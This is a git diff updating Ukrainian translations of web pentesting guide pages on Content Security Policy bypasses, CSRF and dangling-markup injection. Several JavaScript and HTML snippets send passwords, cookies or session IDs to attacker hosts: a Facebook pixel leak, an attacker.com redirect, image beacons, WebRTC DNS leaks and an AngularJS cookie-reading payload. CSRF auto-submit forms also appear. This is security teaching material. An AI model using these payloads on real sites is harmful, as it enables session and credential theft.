| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
|
||||
Якщо ви знайдете будь-який з дозволених доменів у CSP вашої цілі, є ймовірність, що ви зможете обійти CSP, зареєструвавшись на сторонньому сервісі і, або ексфільтрувати дані на цей сервіс, або виконати код.
|
||||
Якщо ви знайдете будь-які з дозволених доменів у CSP вашої цілі, є ймовірність, що ви зможете обійти CSP, зареєструвавшись на сторонньому сервісі та або ексфільтрувати дані на цей сервіс, або виконати код.
|
||||
|
||||
Наприклад, якщо ви знайдете наступний CSP:
|
||||
```
|
||||
@ -322,14 +322,14 @@ Content-Security-Policy: connect-src www.facebook.com;
|
||||
5. Перейдіть до "Event Manager" вашого додатку і виберіть створений вами додаток (зауважте, що менеджер подій можна знайти за URL, подібним до цього: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||
6. Виберіть вкладку "Test Events", щоб побачити події, які надсилаються з "вашого" веб-сайту.
|
||||
|
||||
Потім, на стороні жертви, ви виконуєте наступний код, щоб ініціалізувати піксель відстеження Facebook, вказуючи на app-id облікового запису розробника Facebook атакуючого та видаючи користувацьку подію, як ця:
|
||||
Потім, на стороні жертви, ви виконуєте наступний код, щоб ініціалізувати піксель відстеження Facebook, вказуючи на app-id облікового запису розробника атакуючого та видаючи користувацьку подію, як це:
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
Щодо інших семи сторонніх доменів, зазначених у попередній таблиці, існує багато інших способів їх зловживання. Зверніться до попереднього [блог посту](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) для додаткових пояснень про інші зловживання сторонніми ресурсами.
|
||||
Щодо інших семи доменів третьої сторони, зазначених у попередній таблиці, існує багато інших способів їх зловживання. Зверніться до попереднього [блог посту](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) для додаткових пояснень про інші зловживання третьою стороною.
|
||||
|
||||
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
@ -341,11 +341,11 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
```
|
||||
Браузер в кінцевому підсумку завантажить `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Це працює, оскільки для браузера ви завантажуєте файл з назвою `..%2fangular%2fangular.js`, розташований за адресою `https://example.com/scripts/react/`, що відповідає CSP.
|
||||
Це працює, тому що для браузера ви завантажуєте файл з назвою `..%2fangular%2fangular.js`, розташований за адресою `https://example.com/scripts/react/`, що відповідає CSP.
|
||||
|
||||
∑, вони декодують його, фактично запитуючи `https://example.com/scripts/react/../angular/angular.js`, що еквівалентно `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Шляхом **експлуатації цієї невідповідності в інтерпретації URL між браузером і сервером, правила шляху можна обійти**.
|
||||
Шляхом **експлуатації цієї невідповідності в інтерпретації URL між браузером і сервером, правила шляху можуть бути обійдені**.
|
||||
|
||||
Рішення полягає в тому, щоб не розглядати `%2f` як `/` на стороні сервера, забезпечуючи послідовну інтерпретацію між браузером і сервером, щоб уникнути цієї проблеми.
|
||||
|
||||
@ -359,7 +359,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
|
||||
### відсутній **base-uri**
|
||||
|
||||
Якщо директива **base-uri** відсутня, ви можете зловживати цим, щоб виконати [**dangling markup injection**](../dangling-markup-html-scriptless-injection/).
|
||||
Якщо директива **base-uri** відсутня, ви можете зловживати цим, щоб виконати [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
|
||||
|
||||
Більше того, якщо **сторінка завантажує скрипт за допомогою відносного шляху** (як `<script src="/js/app.js">`), використовуючи **Nonce**, ви можете зловживати **base** **tag**, щоб змусити його **завантажити** скрипт з **вашого власного сервера, досягаючи XSS.**\
|
||||
Якщо вразлива сторінка завантажується з **httpS**, використовуйте httpS URL в base.
|
||||
@ -368,14 +368,14 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
```
|
||||
### AngularJS події
|
||||
|
||||
Специфічна політика, відома як Content Security Policy (CSP), може обмежувати JavaScript події. Проте, AngularJS вводить користувацькі події як альтернативу. У межах події AngularJS надає унікальний об'єкт `$event`, що посилається на об'єкт події рідного браузера. Цей об'єкт `$event` може бути використаний для обходу CSP. Зокрема, у Chrome об'єкт `$event/event` має атрибут `path`, що містить масив об'єктів, залучених у ланцюг виконання події, причому об'єкт `window` завжди розташований в кінці. Ця структура є вирішальною для тактик втечі з пісочниці.
|
||||
Специфічна політика, відома як Content Security Policy (CSP), може обмежувати JavaScript події. Проте, AngularJS вводить користувацькі події як альтернативу. У межах події AngularJS надає унікальний об'єкт `$event`, що посилається на об'єкт події браузера. Цей об'єкт `$event` може бути використаний для обходу CSP. Зокрема, у Chrome об'єкт `$event/event` має атрибут `path`, що містить масив об'єктів, залучених у ланцюг виконання події, причому об'єкт `window` завжди розташований в кінці. Ця структура є ключовою для тактик втечі з пісочниці.
|
||||
|
||||
Спрямовуючи цей масив до фільтра `orderBy`, можна ітерувати його, використовуючи термінальний елемент (об'єкт `window`), щоб викликати глобальну функцію, таку як `alert()`. Наведений нижче фрагмент коду ілюструє цей процес:
|
||||
```xml
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
```
|
||||
Цей фрагмент підкреслює використання директиви `ng-focus` для виклику події, використовуючи `$event.path|orderBy` для маніпуляції масивом `path`, і використовуючи об'єкт `window` для виконання функції `alert()`, таким чином розкриваючи `document.cookie`.
|
||||
Цей фрагмент підкреслює використання директиви `ng-focus` для виклику події, використовуючи `$event.path|orderBy` для маніпуляції масивом `path`, і використовуючи об'єкт `window` для виконання функції `alert()`, тим самим розкриваючи `document.cookie`.
|
||||
|
||||
**Знайдіть інші обходи Angular у** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
|
||||
@ -421,15 +421,15 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
|
||||
```
|
||||
Якщо CSP встановлено на `https://www.google.com/a/b/c/d`, оскільки враховується шлях, скрипти `/test` та `/a/test` будуть заблоковані CSP.
|
||||
|
||||
Однак, фінальний `http://localhost:5555/301` буде **перенаправлений на серверній стороні на `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Оскільки це перенаправлення, **шлях не враховується**, і **скрипт може бути завантажений**, таким чином обходячи обмеження шляху.
|
||||
Однак, фінальний `http://localhost:5555/301` буде **перенаправлений на стороні сервера на `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Оскільки це перенаправлення, **шлях не враховується**, і **скрипт може бути завантажений**, таким чином обходячи обмеження шляху.
|
||||
|
||||
З цим перенаправленням, навіть якщо шлях вказано повністю, він все ще буде обійдено.
|
||||
З цим перенаправленням, навіть якщо шлях вказано повністю, він все ще буде обійдений.
|
||||
|
||||
Отже, найкраще рішення - це забезпечити, щоб веб-сайт не мав жодних вразливостей до відкритого перенаправлення і щоб не було доменів, які можна експлуатувати в правилах CSP.
|
||||
|
||||
### Обхід CSP з висячим розміткою
|
||||
### Обхід CSP з висячою розміткою
|
||||
|
||||
Читати [як тут](../dangling-markup-html-scriptless-injection/).
|
||||
Читати [як тут](../dangling-markup-html-scriptless-injection/index.html).
|
||||
|
||||
### 'unsafe-inline'; img-src \*; через XSS
|
||||
```
|
||||
@ -444,7 +444,7 @@ fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%2
|
||||
Image().src='http://PLAYER_SERVER/?'+_)
|
||||
</script>
|
||||
```
|
||||
Ви також можете зловживати цією конфігурацією, щоб **завантажити код javascript, вставлений всередині зображення**. Якщо, наприклад, сторінка дозволяє завантаження зображень з Twitter. Ви могли б **створити** **спеціальне зображення**, **завантажити** його в Twitter і зловживати "**unsafe-inline**", щоб **виконати** код JS (як звичайний XSS), який **завантажить** **зображення**, **витягне** **JS** з нього і **виконає** **його**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
Ви також можете зловживати цією конфігурацією, щоб **завантажити javascript код, вставлений всередині зображення**. Якщо, наприклад, сторінка дозволяє завантаження зображень з Twitter. Ви могли б **створити** **спеціальне зображення**, **завантажити** його в Twitter і зловживати "**unsafe-inline**", щоб **виконати** JS код (як звичайний XSS), який **завантажить** **зображення**, **витягне** **JS** з нього і **виконає** **його**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### З сервісними працівниками
|
||||
|
||||
@ -454,7 +454,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
|
||||
../xss-cross-site-scripting/abusing-service-workers.md
|
||||
{{#endref}}
|
||||
|
||||
### Впровадження політики
|
||||
### Ін'єкція політики
|
||||
|
||||
**Дослідження:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
|
||||
|
||||
@ -540,7 +540,7 @@ run()
|
||||
```
|
||||
### Via Bookmarklets
|
||||
|
||||
Ця атака передбачає певну соціальну інженерію, де атакуючий **переконує користувача перетягнути та скинути посилання на закладку браузера**. Ця закладка міститиме **шкідливий javascript** код, який, коли його перетягнуть або натиснуть, буде виконано в контексті поточного веб-вікна, **обминаючи CSP і дозволяючи вкрасти чутливу інформацію** таку як куки або токени.
|
||||
Цей напад передбачає певну соціальну інженерію, де зловмисник **переконує користувача перетягнути та скинути посилання на закладку браузера**. Ця закладка міститиме **шкідливий javascript** код, який, коли його перетягнуть або натиснуть, буде виконано в контексті поточного веб-вікна, **обминаючи CSP і дозволяючи вкрасти чутливу інформацію** таку як куки або токени.
|
||||
|
||||
Для отримання додаткової інформації [**перевірте оригінальний звіт тут**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
@ -554,8 +554,8 @@ run()
|
||||
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||||
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
||||
```
|
||||
У [**цьому CTF звіті**](https://github.com/aszx87410/ctf-writeups/issues/48) було можливим через **впровадження HTML** **обмежити** **CSP** так, що скрипт, що запобігає CSTI, був вимкнений, і, отже, **вразливість стала експлуатованою.**\
|
||||
CSP можна зробити більш обмежувальним, використовуючи **HTML мета-теги**, а вбудовані скрипти можна вимкнути **видаленням** **входу**, що дозволяє їх **nonce** та **включити конкретний вбудований скрипт через sha**:
|
||||
У [**цьому CTF звіті**](https://github.com/aszx87410/ctf-writeups/issues/48) було можливим через **впровадження HTML** **обмежити** **CSP** так, що скрипт, що запобігає CSTI, був вимкнений, і тому **вразливість стала експлуатованою.**\
|
||||
CSP можна зробити більш обмежувальним, використовуючи **HTML мета-теги**, а вбудовані скрипти можна вимкнути **видаленням** **входу**, що дозволяє їх **nonce** та **включенням конкретного вбудованого скрипту через sha**:
|
||||
```html
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
@ -564,11 +564,11 @@ content="script-src 'self'
|
||||
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
|
||||
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
|
||||
```
|
||||
### JS ексфільтрація з Content-Security-Policy-Report-Only
|
||||
### JS exfiltration with Content-Security-Policy-Report-Only
|
||||
|
||||
Якщо вам вдасться змусити сервер відповісти заголовком **`Content-Security-Policy-Report-Only`** з **значенням, контрольованим вами** (можливо, через CRLF), ви зможете вказати на свій сервер, і якщо ви **обертаєте** **JS контент**, який хочете ексфільтрувати, в **`<script>`**, і оскільки ймовірно `unsafe-inline` не дозволено CSP, це **викличе помилку CSP** і частина скрипту (що містить чутливу інформацію) буде надіслана на сервер з `Content-Security-Policy-Report-Only`.
|
||||
|
||||
Для прикладу [**перевірте цей CTF звіт**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
Для прикладу [**перевірте цей CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
|
||||
```javascript
|
||||
@ -583,7 +583,7 @@ document.querySelector("DIV").innerHTML =
|
||||
|
||||
Цікаво відзначити, що браузери, такі як Chrome та Firefox, мають різну поведінку в обробці iframe стосовно CSP, що може призвести до потенційного витоку чутливої інформації через невизначену поведінку.
|
||||
|
||||
Інша техніка полягає в експлуатації самого CSP для виведення секретного піддомену. Цей метод спирається на алгоритм бінарного пошуку та коригування CSP, щоб включити конкретні домени, які навмисно заблоковані. Наприклад, якщо секретний піддомен складається з невідомих символів, ви можете ітеративно тестувати різні піддомени, змінюючи директиву CSP, щоб блокувати або дозволяти ці піддомени. Ось фрагмент, що показує, як CSP може бути налаштований для полегшення цього методу:
|
||||
Інша техніка полягає в експлуатації самого CSP для виведення секретного піддомену. Цей метод базується на алгоритмі бінарного пошуку та коригуванні CSP, щоб включити конкретні домени, які навмисно заблоковані. Наприклад, якщо секретний піддомен складається з невідомих символів, ви можете ітеративно тестувати різні піддомени, змінюючи директиву CSP, щоб блокувати або дозволяти ці піддомени. Ось фрагмент, що показує, як CSP може бути налаштований для полегшення цього методу:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
@ -601,14 +601,14 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
|
||||
|
||||
### Переповнення буфера відповіді PHP
|
||||
|
||||
PHP відомий тим, що **буферизує відповідь до 4096** байт за замовчуванням. Тому, якщо PHP показує попередження, надаючи **достатньо даних у попередженнях**, **відповідь** буде **надіслана** **до** **CSP заголовка**, що призведе до ігнорування заголовка.\
|
||||
PHP відомий тим, що **буферизує відповідь до 4096** байтів за замовчуванням. Тому, якщо PHP показує попередження, надаючи **достатньо даних у попередженнях**, **відповідь** буде **надіслана** **до** **CSP заголовка**, що призведе до ігнорування заголовка.\
|
||||
Отже, техніка в основному полягає в **заповненні буфера відповіді попередженнями**, щоб CSP заголовок не був надісланий.
|
||||
|
||||
Ідея з [**цього звіту**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
||||
### Переписати сторінку помилки
|
||||
|
||||
З [**цього звіту**](https://blog.ssrf.kr/69) виглядає так, що було можливо обійти захист CSP, завантаживши сторінку помилки (можливо без CSP) і переписавши її вміст.
|
||||
З [**цього звіту**](https://blog.ssrf.kr/69) виглядає так, що було можливо обійти захист CSP, завантаживши сторінку помилки (потенційно без CSP) і переписавши її вміст.
|
||||
```javascript
|
||||
a = window.open("/" + "x".repeat(4100))
|
||||
setTimeout(function () {
|
||||
@ -617,15 +617,15 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
||||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME - це техніка, яка зловживає XSS (або сильно обмеженим XSS) **в кінцевій точці сторінки**, щоб **зловживати** **іншими кінцевими точками того ж походження.** Це робиться шляхом завантаження вразливої кінцевої точки з сторінки зловмисника, а потім оновлення сторінки зловмисника до реальної кінцевої точки в тому ж походженні, яку ви хочете зловживати. Таким чином, **вразлива кінцева точка** може використовувати об'єкт **`opener`** в **payload** для **доступу до DOM** **реальної кінцевої точки для зловживання**. Для отримання додаткової інформації дивіться:
|
||||
SOME - це техніка, яка зловживає XSS (або сильно обмеженим XSS) **в кінцевій точці сторінки**, щоб **зловживати** **іншими кінцевими точками того ж походження.** Це робиться шляхом завантаження вразливої кінцевої точки з сторінки атакуючого, а потім оновлення сторінки атакуючого до реальної кінцевої точки в тому ж походженні, яку ви хочете зловживати. Таким чином, **вразлива кінцева точка** може використовувати об'єкт **`opener`** в **payload** для **доступу до DOM** **реальної кінцевої точки для зловживання**. Для отримання додаткової інформації дивіться:
|
||||
|
||||
{{#ref}}
|
||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||||
{{#endref}}
|
||||
|
||||
Більше того, **wordpress** має **JSONP** кінцеву точку в `/wp-json/wp/v2/users/1?_jsonp=data`, яка **відобразить** **дані**, надіслані в вихідних даних (з обмеженням лише на літери, цифри та крапки).
|
||||
Більше того, **wordpress** має **JSONP** кінцеву точку в `/wp-json/wp/v2/users/1?_jsonp=data`, яка **відображає** **дані**, надіслані в вихідних даних (з обмеженням лише на літери, цифри та крапки).
|
||||
|
||||
Зловмисник може зловживати цією кінцевою точкою, щоб **згенерувати атаку SOME** проти WordPress і **вбудувати** її всередину `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`, зверніть увагу, що цей **скрипт** буде **завантажено**, оскільки він **дозволений 'self'**. Більше того, і оскільки WordPress встановлено, зловмисник може зловживати **атакою SOME** через **вразливу** **кінцеву точку зворотного виклику**, яка **обходить CSP**, щоб надати більше привілеїв користувачу, встановити новий плагін...\
|
||||
Атакуючий може зловживати цією кінцевою точкою, щоб **згенерувати атаку SOME** проти WordPress і **вбудувати** її всередину `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`, зверніть увагу, що цей **скрипт** буде **завантажено**, оскільки він **дозволений 'self'**. Більше того, і оскільки WordPress встановлено, атакуючий може зловживати **атакою SOME** через **вразливу** **кінцеву точку зворотного виклику**, яка **обходить CSP**, щоб надати більше привілеїв користувачу, встановити новий плагін...\
|
||||
Для отримання додаткової інформації про те, як виконати цю атаку, дивіться [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## CSP Exfiltration Bypasses
|
||||
@ -634,7 +634,7 @@ SOME - це техніка, яка зловживає XSS (або сильно
|
||||
|
||||
### Location
|
||||
|
||||
Ви можете просто оновити місцезнаходження, щоб надіслати секретну інформацію на сервер зловмисника:
|
||||
Ви можете просто оновити місцезнаходження, щоб надіслати секретну інформацію на сервер атакуючого:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split("=")[1] + "."
|
||||
document.location = "https://attacker.com/?" + sessionid
|
||||
@ -647,7 +647,7 @@ document.location = "https://attacker.com/?" + sessionid
|
||||
```
|
||||
### DNS Prefetch
|
||||
|
||||
Щоб завантажувати сторінки швидше, браузери будуть попередньо розв'язувати імена хостів в IP-адреси та кешувати їх для подальшого використання.\
|
||||
Щоб завантажувати сторінки швидше, браузери будуть попередньо розв'язувати імена хостів у IP-адреси та кешувати їх для подальшого використання.\
|
||||
Ви можете вказати браузеру попередньо розв'язати ім'я хоста за допомогою: `<link rel="dns-prefetch" href="something.com">`
|
||||
|
||||
Ви можете зловживати цією поведінкою, щоб **екстрагувати чутливу інформацію через DNS-запити**:
|
||||
@ -678,7 +678,7 @@ X-DNS-Prefetch-Control: off
|
||||
|
||||
На кількох сторінках ви можете прочитати, що **WebRTC не перевіряє політику `connect-src`** CSP.
|
||||
|
||||
Насправді ви можете _leak_ інформацію, використовуючи _DNS запит_. Перегляньте цей код:
|
||||
Насправді ви можете _leak_ інформацію, використовуючи _DNS запит_. Ознайомтеся з цим кодом:
|
||||
```javascript
|
||||
;(async () => {
|
||||
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
|
||||
@ -686,7 +686,7 @@ p.createDataChannel("")
|
||||
p.setLocalDescription(await p.createOffer())
|
||||
})()
|
||||
```
|
||||
Інший варіант:
|
||||
Ще один варіант:
|
||||
```javascript
|
||||
var pc = new RTCPeerConnection({
|
||||
"iceServers":[
|
||||
|
@ -4,14 +4,14 @@
|
||||
|
||||
## Пояснення Cross-Site Request Forgery (CSRF)
|
||||
|
||||
**Cross-Site Request Forgery (CSRF)** - це тип вразливості безпеки, що зустрічається у веб-додатках. Вона дозволяє зловмисникам виконувати дії від імені нічого не підозрюючих користувачів, експлуатуючи їх автентифіковані сесії. Атака виконується, коли користувач, який увійшов до платформи жертви, відвідує шкідливий сайт. Цей сайт потім викликає запити до облікового запису жертви за допомогою методів, таких як виконання JavaScript, надсилання форм або отримання зображень.
|
||||
**Cross-Site Request Forgery (CSRF)** - це тип вразливості безпеки, що зустрічається у веб-додатках. Вона дозволяє зловмисникам виконувати дії від імені нічого не підозрюючих користувачів, експлуатуючи їх автентифіковані сесії. Атака виконується, коли користувач, який увійшов до платформи жертви, відвідує шкідливий сайт. Цей сайт потім ініціює запити до облікового запису жертви за допомогою методів, таких як виконання JavaScript, надсилання форм або отримання зображень.
|
||||
|
||||
### Передумови для атаки CSRF
|
||||
|
||||
Щоб експлуатувати вразливість CSRF, необхідно виконати кілька умов:
|
||||
|
||||
1. **Визначити цінну дію**: Зловмисник повинен знайти дію, яку варто експлуатувати, наприклад, зміну пароля користувача, електронної пошти або підвищення привілеїв.
|
||||
2. **Управління сесією**: Сесія користувача повинна управлятися виключно через куки або заголовок HTTP Basic Authentication, оскільки інші заголовки не можуть бути змінені для цієї мети.
|
||||
2. **Управління сесією**: Сесія користувача повинна управлятися виключно через куки або заголовок HTTP Basic Authentication, оскільки інші заголовки не можуть бути маніпульовані для цієї мети.
|
||||
3. **Відсутність непередбачуваних параметрів**: Запит не повинен містити непередбачуваних параметрів, оскільки вони можуть завадити атаці.
|
||||
|
||||
### Швидка перевірка
|
||||
@ -31,7 +31,7 @@
|
||||
- Використання `http://mal.net?orig=http://example.com` (URL закінчується на надійний URL)
|
||||
- Використання `http://example.com.mal.net` (URL починається з надійного URL)
|
||||
- **Зміна імен параметрів**: Зміна імен параметрів у POST або GET запитах може допомогти запобігти автоматизованим атакам.
|
||||
- **Токени CSRF**: Включення унікального токена CSRF у кожну сесію та вимога цього токена в подальших запитах може значно зменшити ризик CSRF. Ефективність токена можна підвищити, забезпечивши CORS.
|
||||
- **Токени CSRF**: Включення унікального токена CSRF у кожну сесію та вимога цього токена в подальших запитах може значно зменшити ризик CSRF. Ефективність токена можна підвищити, впроваджуючи CORS.
|
||||
|
||||
Розуміння та реалізація цих захистів є критично важливими для підтримки безпеки та цілісності веб-додатків.
|
||||
|
||||
@ -107,7 +107,7 @@ onerror="document.forms[0].submit();" />
|
||||
|
||||
### Зміна Content-Type
|
||||
|
||||
Згідно з [**цим**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), щоб **уникнути попередніх** запитів, використовуючи метод **POST**, ці значення Content-Type дозволені:
|
||||
Згідно з [**цим**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), щоб **уникнути попередніх** запитів, використовуючи метод **POST**, це дозволені значення Content-Type:
|
||||
|
||||
- **`application/x-www-form-urlencoded`**
|
||||
- **`multipart/form-data`**
|
||||
@ -150,15 +150,15 @@ form.submit()
|
||||
```xml
|
||||
<meta name="referrer" content="never">
|
||||
```
|
||||
Це забезпечує відсутність заголовка 'Referer', що потенційно може обійти перевірки валідації в деяких додатках.
|
||||
Це забезпечує відсутність заголовка 'Referer', що потенційно обминає перевірки валідації в деяких додатках.
|
||||
|
||||
**Обхід Regexp**
|
||||
**Обходи Regexp**
|
||||
|
||||
{{#ref}}
|
||||
ssrf-server-side-request-forgery/url-format-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
Щоб встановити доменне ім'я сервера в URL, який Referrer буде надсилати всередині параметрів, ви можете зробити:
|
||||
Щоб встановити доменне ім'я сервера в URL, який Referrer буде надсилати в параметрах, ви можете зробити:
|
||||
```html
|
||||
<html>
|
||||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||||
@ -189,7 +189,7 @@ document.forms[0].submit()
|
||||
```
|
||||
### **Обхід методу HEAD**
|
||||
|
||||
Перша частина [**цього CTF звіту**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) пояснює, що [джерело Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), маршрутизатор налаштований на **обробку запитів HEAD як запитів GET** без тіла відповіді - поширений обхід, який не є унікальним для Oak. Замість конкретного обробника, який займається запитами HEAD, їх просто **передають обробнику GET, але додаток просто видаляє тіло відповіді**.
|
||||
Перша частина [**цього CTF звіту**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) пояснює, що [джерело коду Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), маршрутизатор налаштований на **обробку запитів HEAD як запитів GET** без тіла відповіді - поширений обхід, який не є унікальним для Oak. Замість конкретного обробника, який займається запитами HEAD, їх просто **передають обробнику GET, але додаток просто видаляє тіло відповіді**.
|
||||
|
||||
Отже, якщо запит GET обмежений, ви можете просто **надіслати запит HEAD, який буде оброблений як запит GET**.
|
||||
|
||||
@ -197,7 +197,7 @@ document.forms[0].submit()
|
||||
|
||||
### **Екстракція токена CSRF**
|
||||
|
||||
Якщо **токен CSRF** використовується як **захист**, ви можете спробувати **екстрактувати його**, зловживаючи вразливістю [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) або вразливістю [**Dangling Markup**](dangling-markup-html-scriptless-injection/).
|
||||
Якщо **токен CSRF** використовується як **захист**, ви можете спробувати **екстрактувати його**, зловживаючи вразливістю [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) або вразливістю [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html).
|
||||
|
||||
### **GET за допомогою HTML тегів**
|
||||
```xml
|
||||
@ -505,7 +505,7 @@ document.forms[0].submit.click()
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### **Вкрасти токен і надіслати його за допомогою 2 iframe**
|
||||
### **Викрадення токена та його відправка за допомогою 2 iframe**
|
||||
```html
|
||||
<script>
|
||||
var token;
|
||||
|
@ -4,10 +4,10 @@
|
||||
|
||||
## Резюме
|
||||
|
||||
Цю техніку можна використовувати для витягування інформації від користувача, коли виявлено **HTML-ін'єкцію**. Це дуже корисно, якщо ви **не знаходите жодного способу експлуатувати** [**XSS**](../xss-cross-site-scripting/), але можете **впровадити деякі HTML-теги**.\
|
||||
Цю техніку можна використовувати для витягування інформації від користувача, коли **знайдено HTML-ін'єкцію**. Це дуже корисно, якщо ви **не знаходите жодного способу експлуатувати** [**XSS** ](../xss-cross-site-scripting/index.html), але можете **впровадити деякі HTML-теги**.\
|
||||
Це також корисно, якщо деяка **секретна інформація зберігається у відкритому тексті** в HTML, і ви хочете **екстрагувати** її з клієнта, або якщо ви хочете ввести в оману виконання деяких скриптів.
|
||||
|
||||
Кілька технік, згаданих тут, можна використовувати для обходу деякої [**Політики безпеки контенту**](../content-security-policy-csp-bypass/) шляхом екстракції інформації несподіваними способами (HTML-теги, CSS, http-мета теги, форми, base...).
|
||||
Кілька технік, згаданих тут, можна використовувати для обходу деяких [**Content Security Policy**](../content-security-policy-csp-bypass/index.html) шляхом екстракції інформації несподіваними способами (HTML-теги, CSS, http-meta теги, форми, base...).
|
||||
|
||||
## Основні застосування
|
||||
|
||||
@ -61,11 +61,11 @@ I get consumed!
|
||||
|
||||
### Крадіжка відкритих текстових секретів 2
|
||||
|
||||
Використовуючи останньо згадану техніку для крадіжки форм (впровадження нового заголовка форми), ви можете потім впровадити нове поле введення:
|
||||
Використовуючи останньо згадану техніку для крадіжки форм (інжекція нового заголовка форми), ви можете потім інжектувати нове поле введення:
|
||||
```html
|
||||
<input type='hidden' name='review_body' value="
|
||||
```
|
||||
і це поле введення міститиме весь вміст між його подвійними лапками та наступними подвійними лапками в HTML. Ця атака поєднує "_**Викрадення відкритих текстових секретів**_" з "_**Викрадення форм2**_".
|
||||
і це поле введення міститиме весь вміст між його подвійними лапками та наступними подвійними лапками в HTML. Ця атака поєднує "_**Викрадення відкритих текстових секретів**_" з "_**Викрадення forms2**_".
|
||||
|
||||
Ви можете зробити те ж саме, інжектуючи форму та тег `<option>`. Усі дані до закритого `</option>` будуть надіслані:
|
||||
```html
|
||||
@ -90,7 +90,7 @@ I get consumed!
|
||||
|
||||
`<noscript></noscript>` Це тег, вміст якого буде інтерпретовано, якщо браузер не підтримує javascript (ви можете увімкнути/вимкнути Javascript у Chrome за адресою [chrome://settings/content/javascript](chrome://settings/content/javascript)).
|
||||
|
||||
